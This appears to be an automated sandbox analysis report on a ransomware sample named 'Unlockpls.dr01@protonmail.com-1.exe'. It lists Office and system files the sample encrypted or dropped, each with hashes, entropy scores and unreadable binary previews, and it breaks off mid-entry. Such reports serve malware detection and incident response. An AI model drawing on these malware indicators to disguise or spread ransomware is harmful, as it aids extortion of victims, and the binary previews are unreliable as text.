SHA-512:	273B200E454D2B8578DF5576EF870D68C0974F0C56054E55FC0F9620EB04736D73CF5DEDEBF8AF3C744D1C6ADF399F00016D71C65671AD4F6BB6E1B2BA1CC2FA
Malicious:	false
Preview:	].....W.....`.4o.<.$.X,....N..`Sb8.I.....!3..DwGe.%l.N.2.HA./.H._..u..n.Z..~.jv...w...!.......=.W(BqO...A......"..>..35.3<?....s.N....>P%.._..#....B..N 'o..K....k....)^..{..<QF...Hy:......+.....wM.C...Y....c>p.6.i.Tt-.F.}...)../..g...0..3(.jI.4.......0....}}..R..b;.T..K.e..JB..&.u...q.m...[>...1..........u\|j...c."....?p(....dI.........~..O.04t0./P.:.(mF..U7.;........#....SE...(H.-+.wgF9.(.3....60x....f..)?zE.........T.Nm@tx...0./BN......N...?.-..pB..4P3... .E4..Q.B.xL,G..=...........a.xsr.^F.....R.[#..o.3...@0`-(!....7O..]..@..!,.....-L....M..<9.r.......w.x.9...f.....o..-h......l?.2.Y...>b..+8.......7l/..N..fk.R....... Y.1...[..$37..A..-.~.v%4.+.2{...a(..n...XP.'@.C.G.....4Av.{....H....)5..t...o...1..hr ...:.=N......P7..^b.~.C_l........[....xc.IC...[.e1c......n..fjz..^.....r.Ev.w..\iyx....m[].Z..J..DiJZ...&..V..#.n..O=g..r.....b..`.2...c.3hM..$...._......Jn.%AT8.4Hj.SER.U..zu3..P.W.c.^z...F.u.d...@.9..W{.~....A..:KUZ..K@......!...7x.

C:\Program Files (x86)\Microsoft Office\Office16\MEDIA\APPLAUSE.WAV Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	28330
Entropy (8bit):	7.993049364002805
Encrypted:	true
SSDEEP:	768:xZzC1mKoAtFRcukDxdNmDj09+Ouzbj5wk5/O:xZ1KxtFRctNmDjWazb9c
MD5:	AE7B7A3E2E78257C54E8162028D0DC82
SHA1:	8AD5B0113785E65854DAA2F8BA026CB91EA21344
SHA-256:	721C8254A7BAE2B47077D55CFAF43D70B792231B292D8E2A3C1A298BE35DA067
SHA-512:	68F0770F52BAD12F2E183AD17FD67E930651617928E3319C1D0D78AC6CE7AD5E07248277B9BB17FB5B79F22D23D124430E8910067BB766EE4E35DA1DBCEC5C22
Malicious:	true
Preview:	.=.u........_..']...k..xg<."..?.J.x.\)......o8.....z.5....T@,....rz..<..3%=:...s....MaRJ..P...........D...?bL..7...+D.....R..u..h.>...Rt).C.g@...4 .)......nx.hhS.:.G.k{S.J....S....#..2.....SS..R.....fg...-\|..'.$sB..z.]......eQ...C.F...b...0Z..K.[=.....p.4.......U.tX.`..c._.%....d..Fw.S.(.A.y.5....y.}<..d.{.... ......,..Pu.b.(..6...+.......&}..fO..5[.]..7.MJ...4a.8Z........ ..V...n..t.APMdL`...w.E8..&/D.....}....0. .R......M.]y.qn.r..........R....2 ...y.....R.T..5.k..(P.o,[..i.h..0b.Ob....Q..;o..gB...`..p.V.I...2Y.[..\x..q....u>.ag..........'O.......^..^6Mh.!.xC.. ._.....f...?V.Xm..S.0n...KO.C..V.E.k%.....2.I...:.:......K.r%.jl...4........=.....4.Z..I.....4.I.d.u..2O..w...\.M...m."..r.I..}.HaQ........$..ry..P...^...R...K..E...v..4..ufd.w..l.{C..{..5C....Nl.....`....%.6I......Qb.B..i;\|T~g....Y...[...<..S...'............V8.....5V..s...'n...uO..g.Q...;$.90 .f.h...G7..7+.)I..WfM.%.....-.q..H...&...D...x=...{<.....=.dU.h7.Qp0...?.:...

C:\Program Files (x86)\Microsoft Office\Office16\MEDIA\LYNC_presence.wav Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	246100
Entropy (8bit):	7.999185933402333
Encrypted:	true
SSDEEP:	6144:lAueN7l33YcXt7yisAoNl9q40tNeVZXYNiCb+SBtUhMOuR+sWSRz1jLfLJRGn:lCN7tY+7poX9qnniXeiCttUmOuAlWjLS
MD5:	A902718E35B9616351D1043FBEF8156F
SHA1:	D43BA7D6420E96A4DB808B9B3B280F229602B3B5
SHA-256:	3E57DE11FE30F2F8AB4DC84D395DB44438890178602E12C3EA6C880256C7AE3B
SHA-512:	B7D59ED556996C2804E3ADFF3C537C71313A58EC7803DC34874180C03ACB81FE5BAD33D5DF398062D80B5A0E7D65E909897C609263510B91529F4386D1F63672
Malicious:	true
Preview:	.y..'.g...~%X..=i..x>:.U.n..I..w.......2.:.I.v].\../L...Oq.,........g.0.y.:.8......?D@....1.@..a.:D.w..._..b1......MM.o6c....d.#mj..=^......-....0 ,.....1^9..t...q..(.5.%.v....%e&'s.0..c.t...f(...&.p.n.D[8&....y.......~.x......1.!.....V=..2Q......9..>k.....b3.l...@-a.u[.....p...)ey<.s......B...f...W..y?\|.}$...U.p........kt.W.q.9...b.W..............!..G....`...\|5.....<c.........gL..7..~..F2.x..k"/..n......2.....BD.bk.S.S,..Q...y...H.x.M.i....ZH.k8S.........ro.hk32.K......).......<8.T.&...(....q.a...&..r..a..[...&C1.5-4U.....%[....!b....ZC...>ICd...M.!$`>qeh....c...\|....A.h..0.c.LH.a .........Zfx..X(.u....i.'..\|0..u`Nlb.".:J...dHN.^x.+..x#..t...,..~....v.}..._m.....s.r..Z'mRm.4\|\|..vk.V.....C...-J......^v.q...'%..I.%S/3R>.$z.-.}..{.1"SiT..d.Uk..N._...D..i2....x'\|-}...9.U...k.$.q...2=:.O....n..x..S.....^.<..\..w.j..(..c.....'.v.......`..Wt[...S..u.......A..w&..sQ...3}_rdz.c...f..%..f.2.Nm.J..Z...h?"B..f?P..N..T...>.'..1.c-....D.........

C:\Program Files (x86)\Microsoft Office\Office16\MEDIA\PUSH.WAV Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	16004
Entropy (8bit):	7.987697850574155
Encrypted:	false
SSDEEP:	384:s1KswgwO5YXFCIPphoihs1NDjMm48UW5o+zCt2fzSMX7uwS:FswgwRFFxhejM1W5o+82fn6wS
MD5:	73B8F267FEE6C42F105CAA990B35EB8F
SHA1:	AA59647AA268246F0A24AD5E51F0AE592E62C84A
SHA-256:	08A2CFC156973228761F1BE6BC7744D0741280A72316BC7CF7A3CAB1338321FD
SHA-512:	B77CCFAB249A782773263D78439CF81B2E7E97AD29471E1C52AB14F3912A495A2A5C44113FA8CB06E06E9530C23E693739D984AD89E7E96D16163FF51FEF7D8D
Malicious:	false
Preview:	v.]x...0b..D.D%ni..Z....H=.2......Z.W.+...8...!......{L./....D"......."..r.d<O."u.b-.1=....'...>mv...p........K....Q.?c.B...V...T.h..-..!...M..iz.UH...t...._..7<.Q..U-..=.T7.....R.i..X.?>u.....R...LG.(...?=o....?..v.$..&.Fc.a$^W=.......L..l'.a......t2c.....I.)).eT.....Q.K.>.".^Q.S=\|%.r.!..... ..k.hr....Xa^....m.K..;......pp8..$.N.....am.!`j.6.4P>..X...#g4F..a.......&nO......a.~CN"0....w@...d....P)bc..[V.E......y...\|h.f.X.{.B....r..jmZ...) .GL,.gL9.......K....B....4.X"..k..=I..-\@#....T.K.,.!3..v..d.S....kH.o./.f..uN...U...5i..."r.....?...\..E..i.o...)t......I.mL.....i..u.....&...{.6.....`.s\|...g......$U. ..7<H..!.Q.1...`>.w.<.8}g..3......V.78....6.....&...t...].R....s...\.X.M.~.#.E....w,uW_.2p.15...O('=h..n .zs%f.z.R...P1<..1..4...n..Cb..25.....-}.g..N.....L3p...2...o\|.V..).8q.....lXy......@n.h.qv..ed.+.yG"s...)...A..`.....~S.q....!...b..!..=%...w..........OT.Q.a....]..d....uy"W../S.x7.t.j-...m.@..O\...<..,.?.@5....Y...%h,e.#...I.2.0.GKY.

C:\Program Files (x86)\Microsoft Office\Office16\MSACC.OLB Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	694248
Entropy (8bit):	7.999736132866031
Encrypted:	true
SSDEEP:	12288:tbdHSVYDDSUw1ABc7QttswYRuWNm2u6pNFRb1iRq/mCJV/8iafvfd0Pxmn9Bkq:t1SVVUeABbtswNW02JfFRJAq/tfjdmnX
MD5:	279B65BEA277A9AFBA5DAD4B14FE128F
SHA1:	8069EA78304DCEA95ED02E0E0C4484253F3E15F7
SHA-256:	A2F61AB57C7E725D3AE5CA355383E4FCEC10B33A96D543EFF53F504DA98FDAB4
SHA-512:	305900B4976B2B26D4D6F3B07BF459C88D6D597BB46F6586046E9062D600B0C4BE3CE1BB2D07E75D1CAC1FC7F77C6191BEE9931FD03D7BD1EF74D473BA780B87
Malicious:	true
Preview:	.YL.U..........J..:n9...x.d........9..~..S.4.\|U]..g......c.=.T7`...c.=....i....s.O.\3.!V.f.M....h..H<..h.^.\.n...r.iA.?.=..)..<[...m..Zv...\|}&0<vs......m..5....(.X..l5.~t....L.YH 4j.\.jO....[...B.k.-...H..5a1....9bT.,...l./...TC.,D.^..z..._K.......J..;X..kZ{..<w.w...e.>3.......O.LC.>...mO.d.D.....D.-...yP../..x3.;..o.8,..3e....V..kI......d^.J.^qO?.]..P.O$V4b[>n\]....N!.M.6...P[sd..X...T..A!.m.k.i.%..K..\|U>\|!.X...H\|...^.N..&.}D...E....!)c.:..WM...q..K..p..Tk..$..\@..&.In.....#.I\{Im.....p...(.i...b......N.f.$0........4..k...iJ....j ....^...F....^..7...@.i..4..6.4........q'~..mf.....#.NT..h.fV...`.<{W......Y..K.....DJ.&..4.J.,~..c.$.S..+-..:I....l..%.......A..Flp.WnP.!.US&N.\"...m.....\|Yn.d^b7....V.....i.....J...w5......~UBS.......d.yO..5bf+..l....Hb...xr.....s...L.g.W.N/..X.:[.R.n...c/..-.y.[tDA.U..n_........,.?../.{.p.z._.FYOm.3..-.I.ez.iJw.v.\|..D......gQ\1'.,.S.O.....la.;....'..{#g..7=..q.9......m..(.&p.J.....8......<

C:\Program Files (x86)\Microsoft Office\Office16\MSIPC\zh-CN\msipc.dll.mui Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	19840
Entropy (8bit):	7.990581539185654
Encrypted:	true
SSDEEP:	384:B8sdJPlddWHx6WN8pTAG7OyHJJ5qjXRLogyXYeLFHfV3Z/m/e9z:xPlddghqyGKIJJ5oNo24Re/U
MD5:	D106823E93C4937CD9C11430F854B6F9
SHA1:	08839585A7DC4A08C196C62DB867609A20A7C8F9
SHA-256:	BAD0BD1DA6B7E90F25959D7C8EEE1435061F43CC9E960B7B7C9053255396B581
SHA-512:	CB1E3A634948676C09FAA07B194BDC15C9AC9DA9B31552D20761486001AAFF56565260E5F6F323E86233C69A34936D060B3CE3E0DE17CED4700629CF681393E8
Malicious:	true
Preview:	{;._.yh.X\|Y!P.....0...,?.m...P.^....;.......1.\|..N.}.E.=w.3g......... O.e+...g.....u..~..].\|.}.M.2.<....J.:..ju..1...C.D...Gf..t..n....R"..f..).m...0........69.2..t......:.cwY.fb..3......6Tp..s.......n.......rq.x..lz:.{.&...6+,..oW..D.}.Q..`.`.!a..7......x..x...?yO.r......-+.Q..6)Dm1$..@..G......<..R.^.Q2&\|.....f._.V..)X.X.\...7....=1C......UHt\......K.\|.....o?.K..T..^.... ...2...z:......-.D..9.........7x..@.....E.n............85q...7i........./.U>...iVe,.g.x.{...~..........!E....N.......W..m..f^>.CN..........~....b.I].h.#..._{cn+..Y......=...D..BeP..^o)c.....&].0[..D#.{..DE67.{. E,.4....3.../^....!)a?..Ii...j....b@....}U0:a{R...B....j..^>....P.G...`....'.GP......*.......dIk..U....,.,.\....F...J.....\|._.....5E2f.....=1(.......6...~^Df..ilh.....b.-6vD.....i.o.Xc..B....a..z.F.....J..;f.....~.S.K.W.!....o[btUR'Z.....t...kA..J...<..N9.%Xf=!..[..rH.pM.gr(i../ .....!L.......2..;.c.IRBo..+?)..x....f..p.bP...e../6A.^.b.eh.5 ..a....gsn.m.

C:\Program Files (x86)\Microsoft Office\Office16\Microsoft.Lync.Utilities.Controls.zip Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	29044
Entropy (8bit):	7.9946784253086225
Encrypted:	true
SSDEEP:	768:Q4Rf/6uDm11h0temU3aLk7r566GF4CJiLcf6+9:Qy/6uiLJroIo6YJN9
MD5:	14A279EAFEE485525A9BD216F3226FA1
SHA1:	C9D56D833B58EDFA8472B3B653CD6160E936D335
SHA-256:	CAF24F50FFDE62DA9FD99349DC1100E1E3D65B4A403338AD8A1E032C980120C1
SHA-512:	287AAB8B7BFBE9D6237A01566EB39BF80D231E14BE00F13F986B8EAE6A7026E822738F299C1B7FDC7E094B1A3A4EBF4D3B75694C03B22640F3EC6BD288B9460B
Malicious:	true
Preview:	.w..].iq...}.;[U...M..Z..T.&{.....f...S..=e#+....G$3V.r........?.S`...D.......e.d..@d^.#..].....{M....r#...3M....r'Z..BG..3..9......m@y.....+m...l......H...\|...{r.$..!?.V...(..B._..l.;3SJ...O.H..Wa..].~.}I.B....4]..\..=....\|.+..v{.....SM.i:..._....R...a...;...c.HX..\O~..>'.u.....5<.;u.^..2...m..g~zY.:M-H).f>..\kn..L.U..5iu..h!.y<..R..d^=../k>......qWh/.u.^'...&...T.._../{.S.4.w.....wo?\...K.~..Fm7.^D.,.+..X.....c\|T..$..g,..gY..0bX....J...^9.....{s's#O.e.2..0.Dj..X>..j?.SK.@..(..JT.i.....Ie....].......uQh.b...%.a..3......J.K.:..;m.;......{.,M.........p.....2_..w....p..O.{...6.........A..8..&.(+..j.......+nR...\..YAA..I.]..w,."..+C..$.J...bwa.3. ....66G5'.'t....V..$..n...*..O..A.....p/.I..../.E..s...`$....5~c.h......E..L......~..T.....!...O}A..K..G...!7.....;....\|......+.D..=}..5.......,.kL&.LW9/t.....>.]F#h...X.7fa... K1.L.........Ib.`.....%y.6...4.z..zj....Y..H..R...v....a..J....d...08.....0.m..~..%...:..W..Q.....+Ox.B..skd...W.....t.

C:\Program Files (x86)\Microsoft Office\Office16\ONMAIN.DLL Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	10544912
Entropy (8bit):	6.753162335652898
Encrypted:	false
SSDEEP:	196608:eEOufkelPO9w0PMgZhIF66j3fu3d1fbl+pJ20gsNnZYw+3P5CNIkfDh3We2MAJ:eEOuf/th0PHZs66jyd1fp+pJlgsNnZNO
MD5:	3E8C892C40A2B64BAF979F09ADBD7BAE
SHA1:	2C7BC1ECAE8DFD3D63ABDF1F15218E25D61E42FF
SHA-256:	A211D47F5BD43A108D99CD7B912B900AECE7B3D76DD584338F19BE5BC4F40AC8
SHA-512:	2A68D7D85C4C01BDB4B4FC3BDBE3A026063F24AADBC15A5FD8990BF48293E70AB4FB9585217F5A12EBAE0318A11B30333BEB941E21EB8D82C7BF884D1156BC99
Malicious:	false
Preview:	.a..b29.7g..I5...c..Ym]..X..T.... k..].s..C}..c.).i...{J..Z{.....!..X..$.........F-Xp..c.C.H.d...V.."B..\|E....F...0....y.D....$&t.DITH..U..i..J..KV0.#x...#+"..<....AH...:G...O.&..p.q.q....3...>....Cs....P..U..ht....n...`.5BM.A...4.\|f.D.vW.>......4$.w......W..68R..}@..G..\.B........\R.IIYu.._..(G.;oM..b.PR!/]....e%^..A.S<Z<o{X'.[u....p.C...].J..;.../..E..Q)*.=..<...!xl...!?.@_.5uNN....."..-.@....../7.....=.....p.;.P...i..6......BP..&..?..i...`iP.#\W..i$.%..~P..>.Pt.U.s. ..c..ZYu...H..-.w>i...~DFHp..F:+..Y.&.p.B.kE.o.nKU.R?}j....?.&W.s..i......Q...d....s}w...t:...a.#..p/.....^...)...rw.2.....G.+.e...dl.J.2W8.L.(.P.L`....]...Em........N(......'.L.._.../...`..s.^..O'(...M...U...O.Tg;.2.q..S.....e.<.0...Xz.=7>2..?.,..M..t..uw........n.m...;.C..!....T.t.t....>x..2.D......~=......Q...=.s..[..agi.l..51.O....(.t.C..#..s.[<.`E..I'Rs.Z\..........!i..i..........md....C.c..IJ..s......`.a. .QyW#?c..).X....(Vf..]0.......D...{Q.(...k..A.&.u.t..\Y.V....tr

C:\Program Files (x86)\Microsoft Office\Office16\PAGESIZE\PGLBL016.XML Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	142832
Entropy (8bit):	7.998869412543841
Encrypted:	true
SSDEEP:	3072:P3CGhtM1h1c56E9bP5fOZJC4OgjJnywXoFKczl6BbCZBAcGG7iKtl:sbu9bP5fOZJCSNywXoMoqgb3tl
MD5:	D631748ABFE61BE4006FD66934BBEA17
SHA1:	149E965A1EF91F6BCF99F9372DBDB5595ACAEC13
SHA-256:	5C950E9EBF6FE8AD95737A548BB2777F52CE45A7D38582B2EC687ACAC552C5DE
SHA-512:	76E76688E15501C8D9A7B6CE05C26DA718244D35CC91DFBB63CE296EC932BB3E106D6C7A8C0B89F6662CD8891A58EFF215B9C4D8C3C49EDF4A6045726B79D40D
Malicious:	true
Preview:	.9.F.Y..v..<`.....b.....H..........\#B..(I....4..._..Z{'.l%j...J%.j(x.I6!.0.'.kAg........{....1.Y..I.?...=O.Q.._R.5WyL...O.t^...j..3..Z......unqPk+.[.."S....\|^;2K.......Mo(b..Kj.....FP...".l..;.NfkD....).i+..8...".....-.j.l......6.x.Jtf..9&.o.g}o...../.h\|b.P...q..T..,..Z..%}..e`.f...%..i....$....2...NJ....i.A.)....Qe..L"....=ir.X......[...F...a.u....W...H..j.C.!.<@b.....5.B....pP&.....J.>.....>L#.3%\.Q.].F.n.{**....S.l....w..cV.q......u/.G"R\|[..d.k.+!..z#......x.Yh......e..-.6._..."..uD......z...A...._1...\...1....=.[4.t.....-.D{a....v........s........9.n.....o...W..xt....L7.....J.,..H#k.....q.{....:snQ...t..`..^.t..3..1Xc{:.$\|.3..]..... .$.hy!...:z..0....+.......m..RN.c.%.....gM .4.r ..`....7.....6eq0.,.x,....%.eka..5.......)..{if\..N...<..."..c_3/..dk..C......v..7..O...Q..{.....xb(n..Y.2..G..u...p.....F...P..\|D>.r..V.0.......2.......TMA..`.H..gcz...1...0[.R..]cp..Wx.0.x;+...M.E$U.M....`.x..3.r.R.4..d.to s.....t4...<..0.....

C:\Program Files (x86)\Microsoft Office\Office16\mscss7wre_es.dub Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	3328
Entropy (8bit):	7.946231098764246
Encrypted:	false
SSDEEP:	96:RAE4MdhSQOq2JW1UTb9OX3jBCOb9yp1Lk:RN4MDSQOWKTZW3A0yLk
MD5:	F433084B175A158FDF6C44B9741734F9
SHA1:	CD3908D051A5DA593367F50601F26111EE660C9A
SHA-256:	8DEC903E0E1DB711BEA620623FB4390D28F51BF302C5BD440865067B46091DFE
SHA-512:	14F4D7951D01EEE90458E820C2B79FDFFAC5E171DC27F2B602A476205E607139DF1917E9F461EF2E2E255F0A3A18DD280E83B75381D46034D2C17B4A20C3A722
Malicious:	false
Preview:	%.2.O@...bm.y..9.8]...~.5e.?....^#..X....\.L..EV..dtL.xVV<v.T..d...S..:....D.M..1.Enf...\.......r....Wd.a..7..(.P;....^m`SH$..7..-.....o.dE.\.cp.o=...3.3.c....:w...T....$sJ.=[.j..'.T}...P..IG...q.GE.y.>,~.x..w5....h........S...pu.EE....;..........S[q..0Z....J<b"....3o9~.P.8.?...q.1..x.]%..<.:..}X!$T.......h..V\|.........NZ.V....<o......8.)1.Yx..my.O\|t..M(...c...W.!C.:.Nc)..jz.......$ho.L..KH...x.\K....57..;...g......@:....m.5./mH%D.\|.]g..h1...a..U9.ye.W.(>.(... .:.#..g6...Z.K..L.U.s..R.\....E..YA0...v.2..<.?...^...(...5J.. c[.....afP.3..E`.c..;f$..~^.%......H....\8.9.<.k#IXI...L.G.....bC..7.N..I;0.T.t~.z.4.a."?...-....C..X...F.s.c]Y.FC.u....F`.wa.Z.u..=........Y._2.1...+....c..!.;......P....?.i...:......T...4.@.>.FB.7.z.F....v+A.........?..w..[W'.....)..g..'.-.'+6.J. ..R.%x.....H........0....Tx..'.4....&.......YiA w........t .4....0}.~...E....13....!..S._3......\i..4D.5....}FW{..R.....O..bL..0-..Yg:...F.+n. .....'3....b..A.....k^...V.>.6.&h....(..

C:\Program Files (x86)\Microsoft Office\Office16\mscss7wre_fr.dub Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	3328
Entropy (8bit):	7.943606725334059
Encrypted:	false
SSDEEP:	96:BwArR+vkhIF3mOA2nD829BULyawoYJgG1J8:fR+sy9mOxIO7JN1u
MD5:	A6B5FF0CAE31C41048150B4EA87C9AE6
SHA1:	3CFA9AECCC50E6B2EC6FEBB4BE0708DCD49A6ECB
SHA-256:	4813B608BC569FAE1458E61BB334522052E040D80F900E30E110BCCC370A390E
SHA-512:	400FB2F1190FCF44249F4B9491E55865E018B61A2123FCA4440088ADC4176DB9C2ED738E703B16E4E3007199A44B694C6F314DD79583973BF9D48504CB7B67C2
Malicious:	false
Preview:	..a..2./..N..s..g.F......K.....)...~;k...eQ...I...=\.....\...S.....}I.1y../.x........._..U.z..p\..X..J....:..W...'...~}q..T.l.v..Qf..Yw..w$H.... ..w.(RS.........c.+...)y...Z..R..y.p..t~.....&U..fNk<.k.....&}bg..=6..U(.6.x5-..<...J=T.....T...x.k...J2.r4...T.W2.D...r..`k..{a.jd.R+....J.....m...ps.....s.;.q.(Y.o.i4...[..eWI...2.u.)....Q.d...TW......,...>..IN..4...kd..N.....o..0aK.............]..".....s..G...-.. ^R~./...L..]!....9}.C....Ufh.Y..`..e.)...s..>.....j.....O.4?:..=3....o.<%^....u..Uq6\|.P.3..t%<..X..hA.....n\|....T...L.}..\3..[..=.l..!.tA1. B.<.T...3....O\| .W'c..7>..IX.....}N.5......C.cg..h{^...F....-..G..j...QsZ.`b.R.....U9cm>;O...1ya.5b .v_..I...^........./f.m..n..2......c.,.a...w..$....k%Ty........Z...O.<.#...........GQ..]T.4...}.O...t.x..z.<_{.Xq.1}. .../5....[.g....K.3..;A.?[{q#C.:...1~.".....,..:6..@W...Bv..S..%.....p...i=.:...^R..i....p.7...K....T..;."#...6..e}.0...0k.k.\.].F7..1!w#l.._U$&&.V..[:..LC..Q..uq...2....

C:\Program Files (x86)\Microsoft Office\Office16\mset7ge.kic Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	3500198
Entropy (8bit):	7.054663853827362
Encrypted:	false
SSDEEP:	49152:279mHvhL46Y7pN6GwZsFAw8QT7h2ZUBVxBacX3ELenWs2:f94DpwsGQ52ZUDxBaOnWV
MD5:	9AE64DEE404098710F585ADA6BA7A9EA
SHA1:	A30620B027C0BCA75BEC7B27C28AAB78805A9F94
SHA-256:	2946EC5E99FA0B611AAA55DFA6FA3317F5C16E935094F8898D92925198F4BA06
SHA-512:	DE96C7DE831C1413A7B4F70323E9EAC77A55F19EA7E8C49A0A2814E5C6A73E34DC72082BC8D77109C1FFACA7462FAD78ED8D46E4EC9A2ECC544144A3898C2F89
Malicious:	false
Preview:	...-ZL]g.0.V/?...G.#O...0!@gE...C...R.......i...{.SP......].......L.f...~i.h..f..(~...@~....i.,.....T......g.U.;....l+..U-.....WvTq..."..'.\0..@rcF_P...J2}......0.p.p...;..B5.2o.m.i.d...3I....5.......;c/QJ.l.\w.w.z.f.4......82..[k.By.z.$. ...@Fh.,$.T....Cx.DI.....G..D.`...t.....&d.`............a}......yZ........x$\....:...3.....gq`...G.Q..h.6......_!..8.u}.g.D....V}...U.....n.&......Z..../.......Qh..K..~.U......\..3~..W:2...sfiB.IJ.0..L.A.1....i....%IV.....=....I.....y.-?.......O.k.s.d.R.\|9.q!V}]~\.n..........]...L..7&\...Sr..S}../.........T..lZb.t.9........G_.>.=m.d.mB.Y gr.f..7.....D....]x1.D.3...7........s9.l...A..25="..;..].....p..'H.\|.,R........Tn...O.QME.E.....C..zX.gh.mw4.U......qG&.t.....y...bR.!....V.a.....1..S.....5.x.....)...[i..J$>E......"........g..=...2+R.W...)u.-...;...4.).lY..o.2P$.\|g.S..[.$.S."..Xp)...&~.AI18#.....D.u...B)......c.F...S8'Y+GL..<e..o.&X..=../7....O.`....B..-.7..'........=.*:..!.Yh.....I4...T...^i..Il

C:\Program Files (x86)\Microsoft Office\Office16\muauth.cab Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	7955
Entropy (8bit):	7.977376664653593
Encrypted:	false
SSDEEP:	192:0seBpcGEM9gFd8m3NR4nuFP5VOAHPS4LcQwojSTxJpBQ6:aBOVkgFd7R4nuNL7UoedzB9
MD5:	779B4A7CDB266483F760796FB16593E2
SHA1:	600E1DB3AD39D6A28D8AEFE41A91CE5FE31F78E0
SHA-256:	6499A492246C4AEE61F16EE432B967AD08F62292B01871DBE29F21E1D3329513
SHA-512:	04E774EFEFB2E27A6E79EA72D2904C2C4D45B63FF4B1F9809C313A2AF35AE045548436C05599F77655E921067E24392CC66CDDF000595929C94A0D77D061AFAA
Malicious:	false
Preview:	tJ.Vy..3..ih.4.9..`...l.r........>O..h(.9..{&.B....r.)S.mb6.. ........Ky.;.}.$......X.....c.n.+.../).D....,.gHF.u....$^......>........m.#>Klzp......p..th.h....Nxz..u."......t....hY..L.[t'.....i=?.D.f.f....ao.m..W...$.Oc2e(....^.&w.+nJ..77..W.q.u.SW..Z{.1..!..b.e.w.....+.Y..F..q.....A.g...qM....e.N[$q..v.Ke.jl.p.j...D.^q6E....4.........l..$k.....R. ......s...N..O.D...!@_..f.v?e.\%.BRrq...Wu...Z.W....@G..wMA......U.Q...7.....vz.r.q.`x4m.z..8../..q%...vH./o<R.3F._Ht.5%.ww...d~.....C......2.....(B...n..w.gAO.....T..M....8.^]%+W.3~\|..k;i.ft..:..^.T.H...'...+E&..."en.&..4.R.x..j...n^....}~unj].....X..%....FMxw.....'......[/....(...;x.Sw.g.r.c.0.Pl....F..\....v..IV.....8.M....N-..3...j=../....ef_~......5.~ y.a..I..h.1...x.....).5.=....k..QD....h.^....xx.7Q\|.~.;\|.@:..v]...$.}.\o.~....JB.@.58."{p.`+..?.1......2..q.\[.,?.w5.[.6<..h..]..r.1u...[...~R8..9...p..`c..S*.O..Dg@~..u)<98..\.E...P]....\|....zr...66.o....M=..1...(..U...8...}..P.7~PZ..l....

C:\ProgramData\CSC349A74A79F2A4776AA44A5AABA325CC.TMP Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	29168
Entropy (8bit):	5.769311996981244
Encrypted:	false
SSDEEP:	384:4pr8OH8XpDVmq6eCui9Q65nV13XynFE8KmMvLoeISeuulpIYryupoUANYsXM:4aOH8XpDVKh1NxqtlevuGA
MD5:	47A77A5F273148DD1B2DD7B02B8ECD95
SHA1:	C1361DD35890C2353CF070649D70026FB70F1864
SHA-256:	4DD52B068EA359502AEE0FBA168812B7C9E4613263C70C1262CC97BCC44AE31E
SHA-512:	14E04E4B404170C9866D0BB65D75114A0AF12A3D4EF0BCB677E3C2EBD6FBE7C3ECAAC346592DF48F7298B2681C43F4A5378A2AC5F8F87B3C09E88E484897CD67
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...g.4.3.m.2.p.r.1...e.x.e.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...g.4.3.m.2.p.r.1...e.x.e.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...h... ...........................(....... ..... ...............................-....I(!s.70..71..71..71..71..71..71..81..,'x....I..0.........</....@.L?..^S..^S..^S..]R..]R..^S..^S..^S..RH....E.D<..........I:....F.M@..]R..]R..\Q..:3..:3..\Q..]R..^R..SJ....K.RI..........H9....F.M@..]R..]R..WM..6.U.6.U.WM..]R..^R..SJ....K.RH..........I:....O.NA..]R..

C:\ProgramData\Cpriv.Loki Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033602153554147
Encrypted:	false
SSDEEP:	48:bMH08OoaHuJrSuwJAVePwy0tU80FUYlUyhL96eMuKZPT5bKc3NYCCjaonThOXWlA:bMU85EuJBeAVt9qhL9ybAaiFOK2
MD5:	99E4422574E75F2D291B0729FEFB379E
SHA1:	B8F585556F0C659308673D0181C752ED7F5ED23C
SHA-256:	EB42AEDAC405CD5269CA03AB076D636D9FA8BA1C687698F6BB93022D2C9ECD2E
